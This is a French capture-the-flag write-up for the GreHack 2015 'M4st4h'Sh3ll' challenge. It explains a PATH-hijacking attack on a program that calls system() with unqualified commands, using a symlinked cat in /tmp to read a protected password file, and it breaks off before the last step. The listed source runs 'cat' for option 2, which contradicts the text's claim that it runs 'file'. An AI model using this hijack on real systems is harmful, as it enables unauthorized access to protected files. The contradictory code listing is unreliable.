Exploit 50 - M4st4h'Sh3ll

Voici la première épreuve catégorie “exploit” proposé par l'équipe de la Grehack 2015

Il fallait se connecter en ssh sur un serveur mise à disposition.

Résolution :

Afficher le code source du script

cat main.c 
#include <stdio.h>

int main(void){
  char choice;
  
  printf("M4st4h'Sh3ll !\n");
  printf("1\t-\tls me I'm famous\n");
  printf("2\t-\tfile me I'm famous\n");
  printf("3\t-\tstat me I'm famous\n");

  choice = fgetc(stdin);
    
  switch(choice) {
  case '1':
    system("ls -al .passwd");
    break;
  case '2':
    system("cat .passwd");
    break;
  case '3':
    system("stat .passwd");
    break;
  }
  
  return 0;
}

Si on l'exécute on voit :

La première option permet de faire un ls -al sur le fichier en question affichant ainsi les permissions

La seconde option permet de faire un file sur le fichier .password

La dernière option permet de faire un stat sur le fichier .password

Pour résoudre l'épreuve :

On crée un dossier dans /tmp

mkdir /tmp/isileaks

On crée un lien symbolique entre le binaire cat et un fichier de notre répertoire /tmp/isileaks\

ln -s /bin/cat /tmp/isileaks/file

Nous appelons notre fichier file pour permettre la futur exécution.

Nous redéfinissons notre variable d'environnement :

PATH=/tmp/isileaks:$PATH

Quand le système va essayer d'exécuter un binaire il ira chercher en premier dans notre dossier /tmp/isileaks

Il ne nous reste plus qu'a utiliser de nouveau le programme main avec l'option 2 :